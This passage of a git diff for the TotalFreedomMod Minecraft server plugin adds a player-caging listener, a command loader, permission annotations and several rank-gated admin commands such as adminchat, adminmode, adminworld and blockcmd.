|
// Glowstone light
|
||||||
|
if (material != Material.GLASS && xOffset == 0 && yOffset == 2 && zOffset == 0)
|
||||||
|
{
|
||||||
|
block.setType(Material.GLOWSTONE);
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
|
||||||
|
block.setType(material);
|
||||||
|
}
|
||||||
|
else // Darth mode
|
||||||
|
{
|
||||||
|
if (Math.abs(xOffset) == length && Math.abs(yOffset) == length && Math.abs(zOffset) == length)
|
||||||
|
{
|
||||||
|
block.setType(Material.GLOWSTONE);
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
|
||||||
|
block.setType(Material.SKULL);
|
||||||
|
final Skull skull = (Skull) block.getState();
|
||||||
|
skull.setSkullType(SkullType.PLAYER);
|
||||||
|
skull.setOwner("Prozza");
|
||||||
|
skull.update();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private static class BlockData
|
||||||
|
{
|
||||||
|
|
||||||
|
public Material material;
|
||||||
|
public Location location;
|
||||||
|
|
||||||
|
private BlockData(Location location, Material material)
|
||||||
|
{
|
||||||
|
this.location = location;
|
||||||
|
this.material = material;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
123
src/main/java/me/totalfreedom/totalfreedommod/caging/Cager.java
Normal file
123
src/main/java/me/totalfreedom/totalfreedommod/caging/Cager.java
Normal file
@ -0,0 +1,123 @@
|
|||||||
|
package me.totalfreedom.totalfreedommod.caging;
|
||||||
|
|
||||||
|
import me.totalfreedom.totalfreedommod.FreedomService;
|
||||||
|
import me.totalfreedom.totalfreedommod.TotalFreedomMod;
|
||||||
|
import me.totalfreedom.totalfreedommod.player.FPlayer;
|
||||||
|
import me.totalfreedom.totalfreedommod.util.FUtil;
|
||||||
|
import org.bukkit.ChatColor;
|
||||||
|
import org.bukkit.Location;
|
||||||
|
import org.bukkit.entity.Player;
|
||||||
|
import org.bukkit.event.EventHandler;
|
||||||
|
import org.bukkit.event.EventPriority;
|
||||||
|
import org.bukkit.event.block.BlockBreakEvent;
|
||||||
|
import org.bukkit.event.player.PlayerJoinEvent;
|
||||||
|
import org.bukkit.event.player.PlayerMoveEvent;
|
||||||
|
import org.bukkit.event.player.PlayerQuitEvent;
|
||||||
|
import org.bukkit.event.player.PlayerKickEvent;
|
||||||
|
|
||||||
|
public class Cager extends FreedomService
|
||||||
|
{
|
||||||
|
|
||||||
|
public Cager(TotalFreedomMod plugin)
|
||||||
|
{
|
||||||
|
super(plugin);
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
protected void onStart()
|
||||||
|
{
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
protected void onStop()
|
||||||
|
{
|
||||||
|
}
|
||||||
|
|
||||||
|
@EventHandler(priority = EventPriority.LOW, ignoreCancelled = true)
|
||||||
|
public void onBreakBlock(BlockBreakEvent event)
|
||||||
|
{
|
||||||
|
Player player = event.getPlayer();
|
||||||
|
if (player == null
|
||||||
|
|| plugin.al.isAdmin(player))
|
||||||
|
{
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
FPlayer fPlayer = plugin.pl.getPlayer(event.getPlayer());
|
||||||
|
CageData cage = fPlayer.getCageData();
|
||||||
|
|
||||||
|
if (cage.isCaged())
|
||||||
|
{
|
||||||
|
event.setCancelled(true);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
@EventHandler
|
||||||
|
public void onPlayerMove(PlayerMoveEvent event)
|
||||||
|
{
|
||||||
|
FPlayer player = plugin.pl.getPlayer(event.getPlayer());
|
||||||
|
CageData cage = player.getCageData();
|
||||||
|
|
||||||
|
if (!cage.isCaged())
|
||||||
|
{
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
Location playerLoc = player.getPlayer().getLocation().add(0, 1, 0);
|
||||||
|
Location cageLoc = cage.getLocation();
|
||||||
|
|
||||||
|
final boolean outOfCage;
|
||||||
|
if (!playerLoc.getWorld().equals(cageLoc.getWorld()))
|
||||||
|
{
|
||||||
|
outOfCage = true;
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
outOfCage = playerLoc.distanceSquared(cageLoc) > (2.5D * 2.5D);
|
||||||
|
}
|
||||||
|
|
||||||
|
if (outOfCage)
|
||||||
|
{
|
||||||
|
player.getPlayer().teleport(cageLoc.subtract(0, 0.1, 0));
|
||||||
|
FUtil.playerMsg(player.getPlayer(), "You may not leave your cage.", ChatColor.RED);
|
||||||
|
cage.regenerate();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
@EventHandler(priority = EventPriority.MONITOR, ignoreCancelled = true)
|
||||||
|
public void onPlayerQuit(PlayerQuitEvent event)
|
||||||
|
{
|
||||||
|
FPlayer player = plugin.pl.getPlayer(event.getPlayer());
|
||||||
|
CageData cage = player.getCageData();
|
||||||
|
|
||||||
|
if (cage.isCaged())
|
||||||
|
{
|
||||||
|
cage.playerQuit();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
@EventHandler(priority = EventPriority.MONITOR, ignoreCancelled = true)
|
||||||
|
public void onPlayerKick(PlayerKickEvent event)
|
||||||
|
{
|
||||||
|
FPlayer player = plugin.pl.getPlayer(event.getPlayer());
|
||||||
|
CageData cage = player.getCageData();
|
||||||
|
|
||||||
|
if (cage.isCaged())
|
||||||
|
{
|
||||||
|
cage.playerQuit();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
@EventHandler(priority = EventPriority.MONITOR, ignoreCancelled = true)
|
||||||
|
public void onPlayerJoin(PlayerJoinEvent event)
|
||||||
|
{
|
||||||
|
FPlayer player = plugin.pl.getPlayer(event.getPlayer());
|
||||||
|
CageData cage = player.getCageData();
|
||||||
|
|
||||||
|
if (cage.isCaged())
|
||||||
|
{
|
||||||
|
cage.playerJoin();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
@ -0,0 +1,13 @@
|
|||||||
|
package me.totalfreedom.totalfreedommod.command;
|
||||||
|
|
||||||
|
public class CommandFailException extends RuntimeException
|
||||||
|
{
|
||||||
|
|
||||||
|
private static final long serialVersionUID = -92333791173123L;
|
||||||
|
|
||||||
|
public CommandFailException(String message)
|
||||||
|
{
|
||||||
|
super(message);
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
@ -0,0 +1,45 @@
|
|||||||
|
package me.totalfreedom.totalfreedommod.command;
|
||||||
|
|
||||||
|
import lombok.Getter;
|
||||||
|
import me.totalfreedom.totalfreedommod.FreedomService;
|
||||||
|
import me.totalfreedom.totalfreedommod.TotalFreedomMod;
|
||||||
|
import me.totalfreedom.totalfreedommod.util.FLog;
|
||||||
|
import net.pravian.aero.command.handler.SimpleCommandHandler;
|
||||||
|
import org.bukkit.ChatColor;
|
||||||
|
|
||||||
|
public class CommandLoader extends FreedomService
|
||||||
|
{
|
||||||
|
|
||||||
|
@Getter
|
||||||
|
private final SimpleCommandHandler<TotalFreedomMod> handler;
|
||||||
|
|
||||||
|
public CommandLoader(TotalFreedomMod plugin)
|
||||||
|
{
|
||||||
|
super(plugin);
|
||||||
|
|
||||||
|
handler = new SimpleCommandHandler<>(plugin);
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
protected void onStart()
|
||||||
|
{
|
||||||
|
handler.clearCommands();
|
||||||
|
handler.setExecutorFactory(new FreedomCommandExecutor.FreedomExecutorFactory(plugin));
|
||||||
|
handler.setCommandClassPrefix("Command_");
|
||||||
|
handler.setPermissionMessage(ChatColor.RED + "You do not have permission to use this command.");
|
||||||
|
handler.setOnlyConsoleMessage(ChatColor.RED + "This command can only be used from the console.");
|
||||||
|
handler.setOnlyPlayerMessage(ChatColor.RED + "This command can only be used by players.");
|
||||||
|
|
||||||
|
handler.loadFrom(FreedomCommand.class.getPackage());
|
||||||
|
handler.registerAll("TotalFreedomMod", true);
|
||||||
|
|
||||||
|
FLog.info("Loaded " + handler.getExecutors().size() + " commands.");
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
protected void onStop()
|
||||||
|
{
|
||||||
|
handler.clearCommands();
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
@ -1,4 +1,4 @@
|
|||||||
package me.StevenLawson.TotalFreedomMod.Commands;
|
package me.totalfreedom.totalfreedommod.command;
|
||||||
|
|
||||||
import java.lang.annotation.Retention;
|
import java.lang.annotation.Retention;
|
||||||
import java.lang.annotation.RetentionPolicy;
|
import java.lang.annotation.RetentionPolicy;
|
||||||
@ -6,6 +6,7 @@ import java.lang.annotation.RetentionPolicy;
|
|||||||
@Retention(RetentionPolicy.RUNTIME)
|
@Retention(RetentionPolicy.RUNTIME)
|
||||||
public @interface CommandParameters
|
public @interface CommandParameters
|
||||||
{
|
{
|
||||||
|
|
||||||
String description();
|
String description();
|
||||||
|
|
||||||
String usage();
|
String usage();
|
@ -1,14 +1,16 @@
|
|||||||
package me.StevenLawson.TotalFreedomMod.Commands;
|
package me.totalfreedom.totalfreedommod.command;
|
||||||
|
|
||||||
import java.lang.annotation.Retention;
|
import java.lang.annotation.Retention;
|
||||||
import java.lang.annotation.RetentionPolicy;
|
import java.lang.annotation.RetentionPolicy;
|
||||||
|
import me.totalfreedom.totalfreedommod.rank.Rank;
|
||||||
|
|
||||||
@Retention(RetentionPolicy.RUNTIME)
|
@Retention(RetentionPolicy.RUNTIME)
|
||||||
public @interface CommandPermissions
|
public @interface CommandPermissions
|
||||||
{
|
{
|
||||||
AdminLevel level();
|
|
||||||
|
Rank level();
|
||||||
|
|
||||||
SourceType source();
|
SourceType source();
|
||||||
|
|
||||||
boolean block_host_console() default false;
|
boolean blockHostConsole() default false;
|
||||||
}
|
}
|
@ -0,0 +1,41 @@
|
|||||||
|
package me.totalfreedom.totalfreedommod.command;
|
||||||
|
|
||||||
|
import me.totalfreedom.totalfreedommod.player.FPlayer;
|
||||||
|
import me.totalfreedom.totalfreedommod.rank.Rank;
|
||||||
|
import me.totalfreedom.totalfreedommod.util.FUtil;
|
||||||
|
import org.apache.commons.lang3.StringUtils;
|
||||||
|
import org.bukkit.command.Command;
|
||||||
|
import org.bukkit.command.CommandSender;
|
||||||
|
import org.bukkit.entity.Player;
|
||||||
|
|
||||||
|
@CommandPermissions(level = Rank.SUPER_ADMIN, source = SourceType.BOTH)
|
||||||
|
@CommandParameters(
|
||||||
|
description = "AdminChat - Talk privately with other admins. Using <command> itself will toggle AdminChat on and off for all messages.",
|
||||||
|
usage = "/<command> [message...]",
|
||||||
|
aliases = "o,ac")
|
||||||
|
public class Command_adminchat extends FreedomCommand
|
||||||
|
{
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public boolean run(CommandSender sender, Player playerSender, Command cmd, String commandLabel, String[] args, boolean senderIsConsole)
|
||||||
|
{
|
||||||
|
if (args.length == 0)
|
||||||
|
{
|
||||||
|
if (senderIsConsole)
|
||||||
|
{
|
||||||
|
msg("Only in-game players can toggle AdminChat.");
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
FPlayer userinfo = plugin.pl.getPlayer(playerSender);
|
||||||
|
userinfo.setAdminChat(!userinfo.inAdminChat());
|
||||||
|
msg("Toggled Admin Chat " + (userinfo.inAdminChat() ? "on" : "off") + ".");
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
plugin.cm.adminChat(sender, StringUtils.join(args, " "));
|
||||||
|
}
|
||||||
|
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
}
|
@ -0,0 +1,45 @@
|
|||||||
|
package me.totalfreedom.totalfreedommod.command;
|
||||||
|
|
||||||
|
import me.totalfreedom.totalfreedommod.config.ConfigEntry;
|
||||||
|
import me.totalfreedom.totalfreedommod.rank.Rank;
|
||||||
|
import me.totalfreedom.totalfreedommod.util.FUtil;
|
||||||
|
import org.bukkit.command.Command;
|
||||||
|
import org.bukkit.command.CommandSender;
|
||||||
|
import org.bukkit.entity.Player;
|
||||||
|
|
||||||
|
@CommandPermissions(level = Rank.SUPER_ADMIN, source = SourceType.ONLY_CONSOLE, blockHostConsole = true)
|
||||||
|
@CommandParameters(description = "Close server to non-superadmins.", usage = "/<command> [on | off]")
|
||||||
|
public class Command_adminmode extends FreedomCommand
|
||||||
|
{
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public boolean run(CommandSender sender, Player playerSender, Command cmd, String commandLabel, String[] args, boolean senderIsConsole)
|
||||||
|
{
|
||||||
|
if (args.length != 1)
|
||||||
|
{
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (args[0].equalsIgnoreCase("off"))
|
||||||
|
{
|
||||||
|
ConfigEntry.ADMIN_ONLY_MODE.setBoolean(false);
|
||||||
|
FUtil.adminAction(sender.getName(), "Opening the server to all players.", true);
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
else if (args[0].equalsIgnoreCase("on"))
|
||||||
|
{
|
||||||
|
ConfigEntry.ADMIN_ONLY_MODE.setBoolean(true);
|
||||||
|
FUtil.adminAction(sender.getName(), "Closing the server to non-superadmins.", true);
|
||||||
|
for (Player player : server.getOnlinePlayers())
|
||||||
|
{
|
||||||
|
if (!isAdmin(player))
|
||||||
|
{
|
||||||
|
player.kickPlayer("Server is now closed to non-superadmins.");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
}
|
@ -0,0 +1,248 @@
|
|||||||
|
package me.totalfreedom.totalfreedommod.command;
|
||||||
|
|
||||||
|
import me.totalfreedom.totalfreedommod.rank.Rank;
|
||||||
|
import me.totalfreedom.totalfreedommod.util.FUtil;
|
||||||
|
import me.totalfreedom.totalfreedommod.world.WorldTime;
|
||||||
|
import me.totalfreedom.totalfreedommod.world.WorldWeather;
|
||||||
|
import org.bukkit.World;
|
||||||
|
import org.bukkit.command.Command;
|
||||||
|
import org.bukkit.command.CommandSender;
|
||||||
|
import org.bukkit.entity.Player;
|
||||||
|
|
||||||
|
@CommandPermissions(level = Rank.OP, source = SourceType.BOTH)
|
||||||
|
@CommandParameters(description = "Go to the AdminWorld.",
|
||||||
|
usage = "/<command> [guest < list | purge | add <player> | remove <player> > | time <morning | noon | evening | night> | weather <off | on | storm>]")
|
||||||
|
public class Command_adminworld extends FreedomCommand
|
||||||
|
{
|
||||||
|
|
||||||
|
private enum CommandMode
|
||||||
|
{
|
||||||
|
|
||||||
|
TELEPORT, GUEST, TIME, WEATHER;
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public boolean run(CommandSender sender, Player playerSender, Command cmd, String commandLabel, String[] args, boolean senderIsConsole)
|
||||||
|
{
|
||||||
|
CommandMode commandMode = null;
|
||||||
|
|
||||||
|
if (args.length == 0)
|
||||||
|
{
|
||||||
|
commandMode = CommandMode.TELEPORT;
|
||||||
|
}
|
||||||
|
else if (args.length >= 2)
|
||||||
|
{
|
||||||
|
if ("guest".equalsIgnoreCase(args[0]))
|
||||||
|
{
|
||||||
|
commandMode = CommandMode.GUEST;
|
||||||
|
}
|
||||||
|
else if ("time".equalsIgnoreCase(args[0]))
|
||||||
|
{
|
||||||
|
commandMode = CommandMode.TIME;
|
||||||
|
}
|
||||||
|
else if ("weather".equalsIgnoreCase(args[0]))
|
||||||
|
{
|
||||||
|
commandMode = CommandMode.WEATHER;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if (commandMode == null)
|
||||||
|
{
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
try
|
||||||
|
{
|
||||||
|
switch (commandMode)
|
||||||
|
{
|
||||||
|
case TELEPORT:
|
||||||
|
{
|
||||||
|
if (!(sender instanceof Player) || playerSender == null)
|
||||||
|
{
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
World adminWorld = null;
|
||||||
|
try
|
||||||
|
{
|
||||||
|
adminWorld = plugin.wm.adminworld.getWorld();
|
||||||
|
}
|
||||||
|
catch (Exception ex)
|
||||||
|
{
|
||||||
|
}
|
||||||
|
|
||||||
|
if (adminWorld == null || playerSender.getWorld() == adminWorld)
|
||||||
|
{
|
||||||
|
msg("Going to the main world.");
|
||||||
|
playerSender.teleport(server.getWorlds().get(0).getSpawnLocation());
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
if (plugin.wm.adminworld.canAccessWorld(playerSender))
|
||||||
|
{
|
||||||
|
msg("Going to the AdminWorld.");
|
||||||
|
plugin.wm.adminworld.sendToWorld(playerSender);
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
msg("You don't have permission to access the AdminWorld.");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
case GUEST:
|
||||||
|
{
|
||||||
|
if (args.length == 2)
|
||||||
|
{
|
||||||
|
if ("list".equalsIgnoreCase(args[1]))
|
||||||
|
{
|
||||||
|
msg("AdminWorld guest list: " + plugin.wm.adminworld.guestListToString());
|
||||||
|
}
|
||||||
|
else if ("purge".equalsIgnoreCase(args[1]))
|
||||||
|
{
|
||||||
|
assertCommandPerms(sender, playerSender);
|
||||||
|
plugin.wm.adminworld.purgeGuestList();
|
||||||
|
FUtil.adminAction(sender.getName(), "AdminWorld guest list purged.", false);
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
else if (args.length == 3)
|
||||||
|
{
|
||||||
|
assertCommandPerms(sender, playerSender);
|
||||||
|
|
||||||
|
if ("add".equalsIgnoreCase(args[1]))
|
||||||
|
{
|
||||||
|
final Player player = getPlayer(args[2]);
|
||||||
|
|
||||||
|
if (player == null)
|
||||||
|
{
|
||||||
|
sender.sendMessage(FreedomCommand.PLAYER_NOT_FOUND);
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (plugin.wm.adminworld.addGuest(player, playerSender))
|
||||||
|
{
|
||||||
|
FUtil.adminAction(sender.getName(), "AdminWorld guest added: " + player.getName(), false);
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
msg("Could not add player to guest list.");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
else if ("remove".equals(args[1]))
|
||||||
|
{
|
||||||
|
final Player player = plugin.wm.adminworld.removeGuest(args[2]);
|
||||||
|
if (player != null)
|
||||||
|
{
|
||||||
|
FUtil.adminAction(sender.getName(), "AdminWorld guest removed: " + player.getName(), false);
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
msg("Can't find guest entry for: " + args[2]);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
case TIME:
|
||||||
|
{
|
||||||
|
assertCommandPerms(sender, playerSender);
|
||||||
|
|
||||||
|
if (args.length == 2)
|
||||||
|
{
|
||||||
|
WorldTime timeOfDay = WorldTime.getByAlias(args[1]);
|
||||||
|
if (timeOfDay != null)
|
||||||
|
{
|
||||||
|
plugin.wm.adminworld.setTimeOfDay(timeOfDay);
|
||||||
|
msg("AdminWorld time set to: " + timeOfDay.name());
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
msg("Invalid time of day. Can be: sunrise, noon, sunset, midnight");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
case WEATHER:
|
||||||
|
{
|
||||||
|
assertCommandPerms(sender, playerSender);
|
||||||
|
|
||||||
|
if (args.length == 2)
|
||||||
|
{
|
||||||
|
WorldWeather weatherMode = WorldWeather.getByAlias(args[1]);
|
||||||
|
if (weatherMode != null)
|
||||||
|
{
|
||||||
|
plugin.wm.adminworld.setWeatherMode(weatherMode);
|
||||||
|
msg("AdminWorld weather set to: " + weatherMode.name());
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
msg("Invalid weather mode. Can be: off, rain, storm");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
default:
|
||||||
|
{
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
catch (PermissionDeniedException ex)
|
||||||
|
{
|
||||||
|
if (ex.getMessage().isEmpty())
|
||||||
|
{
|
||||||
|
return noPerms();
|
||||||
|
}
|
||||||
|
sender.sendMessage(ex.getMessage());
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
// TODO: Redo this properly
|
||||||
|
private void assertCommandPerms(CommandSender sender, Player playerSender) throws PermissionDeniedException
|
||||||
|
{
|
||||||
|
if (!(sender instanceof Player) || playerSender == null || !isAdmin(sender))
|
||||||
|
{
|
||||||
|
throw new PermissionDeniedException();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private class PermissionDeniedException extends Exception
|
||||||
|
{
|
||||||
|
|
||||||
|
private static final long serialVersionUID = 1L;
|
||||||
|
|
||||||
|
private PermissionDeniedException()
|
||||||
|
{
|
||||||
|
super("");
|
||||||
|
}
|
||||||
|
|
||||||
|
private PermissionDeniedException(String string)
|
||||||
|
{
|
||||||
|
super(string);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
@ -0,0 +1,56 @@
|
|||||||
|
package me.totalfreedom.totalfreedommod.command;
|
||||||
|
|
||||||
|
import me.totalfreedom.totalfreedommod.rank.Rank;
|
||||||
|
import me.totalfreedom.totalfreedommod.util.FUtil;
|
||||||
|
import org.bukkit.GameMode;
|
||||||
|
import org.bukkit.command.Command;
|
||||||
|
import org.bukkit.command.CommandSender;
|
||||||
|
import org.bukkit.entity.Player;
|
||||||
|
|
||||||
|
@CommandPermissions(level = Rank.SUPER_ADMIN, source = SourceType.BOTH)
|
||||||
|
@CommandParameters(description = "Quickly change your own gamemode to adventure, or define someone's username to change theirs.", usage = "/<command> <-a | [partialname]>", aliases = "gma")
|
||||||
|
public class Command_adventure extends FreedomCommand
|
||||||
|
{
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public boolean run(CommandSender sender, Player playerSender, Command cmd, String commandLabel, String[] args, boolean senderIsConsole)
|
||||||
|
{
|
||||||
|
if (args.length == 0)
|
||||||
|
{
|
||||||
|
if (isConsole())
|
||||||
|
{
|
||||||
|
sender.sendMessage("When used from the console, you must define a target player.");
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
playerSender.setGameMode(GameMode.ADVENTURE);
|
||||||
|
msg("Gamemode set to adventure.");
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (args[0].equals("-a"))
|
||||||
|
{
|
||||||
|
for (Player targetPlayer : server.getOnlinePlayers())
|
||||||
|
{
|
||||||
|
targetPlayer.setGameMode(GameMode.ADVENTURE);
|
||||||
|
}
|
||||||
|
|
||||||
|
FUtil.adminAction(sender.getName(), "Changing everyone's gamemode to adventure", false);
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
Player player = getPlayer(args[0]);
|
||||||
|
|
||||||
|
if (player == null)
|
||||||
|
{
|
||||||
|
sender.sendMessage(FreedomCommand.PLAYER_NOT_FOUND);
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
msg("Setting " + player.getName() + " to game mode adventure");
|
||||||
|
msg(player, sender.getName() + " set your game mode to adventure");
|
||||||
|
player.setGameMode(GameMode.ADVENTURE);
|
||||||
|
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
}
|
@ -0,0 +1,26 @@
|
|||||||
|
package me.totalfreedom.totalfreedommod.command;
|
||||||
|
|
||||||
|
import me.totalfreedom.totalfreedommod.rank.Rank;
|
||||||
|
import org.apache.commons.lang3.StringUtils;
|
||||||
|
import org.bukkit.command.Command;
|
||||||
|
import org.bukkit.command.CommandSender;
|
||||||
|
import org.bukkit.entity.Player;
|
||||||
|
|
||||||
|
@CommandPermissions(level = Rank.SUPER_ADMIN, source = SourceType.BOTH)
|
||||||
|
@CommandParameters(description = "Make an announcement", usage = "/<command> <message>")
|
||||||
|
public class Command_announce extends FreedomCommand
|
||||||
|
{
|
||||||
|
|
||||||
|
@Override
|
||||||
|
protected boolean run(CommandSender sender, Player playerSender, Command cmd, String commandLabel, String[] args, boolean senderIsConsole)
|
||||||
|
{
|
||||||
|
if (args.length < 1)
|
||||||
|
{
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
plugin.an.announce(StringUtils.join(args, " "));
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
@ -0,0 +1,41 @@
|
|||||||
|
package me.totalfreedom.totalfreedommod.command;
|
||||||
|
|
||||||
|
import me.totalfreedom.totalfreedommod.rank.Rank;
|
||||||
|
import me.totalfreedom.totalfreedommod.util.FUtil;
|
||||||
|
import org.bukkit.ChatColor;
|
||||||
|
import org.bukkit.command.Command;
|
||||||
|
import org.bukkit.command.CommandSender;
|
||||||
|
import org.bukkit.entity.Player;
|
||||||
|
|
||||||
|
@CommandPermissions(level = Rank.OP, source = SourceType.BOTH)
|
||||||
|
@CommandParameters(description = "Shows all banned player names. Superadmins may optionally use 'purge' to clear the list.", usage = "/<command> [purge]")
|
||||||
|
public class Command_banlist extends FreedomCommand
|
||||||
|
{
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public boolean run(CommandSender sender, Player playerSender, Command cmd, String commandLabel, String[] args, boolean senderIsConsole)
|
||||||
|
{
|
||||||
|
if (args.length > 0)
|
||||||
|
{
|
||||||
|
if (args[0].equalsIgnoreCase("purge"))
|
||||||
|
{
|
||||||
|
checkRank(Rank.SENIOR_ADMIN);
|
||||||
|
|
||||||
|
FUtil.adminAction(sender.getName(), "Purging the ban list", true);
|
||||||
|
int amount = plugin.bm.purge();
|
||||||
|
sender.sendMessage(ChatColor.GRAY + "Purged " + amount + " player bans.");
|
||||||
|
|
||||||
|
return true;
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
msg(plugin.bm.getAllBans().size() + " player bans ("
|
||||||
|
+ plugin.bm.getUsernameBans().size() + " usernames, "
|
||||||
|
+ plugin.bm.getIpBans().size() + " IPs)");
|
||||||
|
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
}
|
@ -0,0 +1,84 @@
|
|||||||
|
package me.totalfreedom.totalfreedommod.command;
|
||||||
|
|
||||||
|
import me.totalfreedom.totalfreedommod.player.FPlayer;
|
||||||
|
import me.totalfreedom.totalfreedommod.rank.Rank;
|
||||||
|
import me.totalfreedom.totalfreedommod.util.FUtil;
|
||||||
|
import org.bukkit.ChatColor;
|
||||||
|
import org.bukkit.command.Command;
|
||||||
|
import org.bukkit.command.CommandSender;
|
||||||
|
import org.bukkit.entity.Player;
|
||||||
|
|
||||||
|
@CommandPermissions(level = Rank.SUPER_ADMIN, source = SourceType.BOTH)
|
||||||
|
@CommandParameters(description = "Block all commands for a specific player.", usage = "/<command> <-a | purge | <player>>", aliases = "blockcommands,blockcommand,bc,bcmd")
|
||||||
|
public class Command_blockcmd extends FreedomCommand
|
||||||
|
{
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public boolean run(CommandSender sender, Player playerSender, Command cmd, String commandLabel, String[] args, boolean senderIsConsole)
|
||||||
|
{
|
||||||
|
if (args.length != 1)
|
||||||
|
{
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (args[0].equals("purge"))
|
||||||
|
{
|
||||||
|
FUtil.adminAction(sender.getName(), "Unblocking commands for all players", true);
|
||||||
|
int counter = 0;
|
||||||
|
for (Player player : server.getOnlinePlayers())
|
||||||
|
{
|
||||||
|
FPlayer playerdata = plugin.pl.getPlayer(player);
|
||||||
|
if (playerdata.allCommandsBlocked())
|
||||||
|
{
|
||||||
|
counter += 1;
|
||||||
|
playerdata.setCommandsBlocked(false);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
msg("Unblocked commands for " + counter + " players.");
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (args[0].equals("-a"))
|
||||||
|
{
|
||||||
|
FUtil.adminAction(sender.getName(), "Blocking commands for all non-admins", true);
|
||||||
|
int counter = 0;
|
||||||
|
for (Player player : server.getOnlinePlayers())
|
||||||
|
{
|
||||||
|
if (isAdmin(player))
|
||||||
|
{
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
|
||||||
|
counter += 1;
|
||||||
|
plugin.pl.getPlayer(player).setCommandsBlocked(true);
|
||||||
|
msg(player, "Your commands have been blocked by an admin.", ChatColor.RED);
|
||||||
|
}
|
||||||
|
|
||||||
|
msg("Blocked commands for " + counter + " players.");
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
final Player player = getPlayer(args[0]);
|
||||||
|
|
||||||
|
if (player == null)
|
||||||
|
{
|
||||||
|
msg(FreedomCommand.PLAYER_NOT_FOUND);
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (isAdmin(player))
|
||||||
|
{
|
||||||
|
msg(player.getName() + " is a Superadmin, and cannot have their commands blocked.");
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
FPlayer playerdata = plugin.pl.getPlayer(player);
|
||||||
|
|
||||||
|
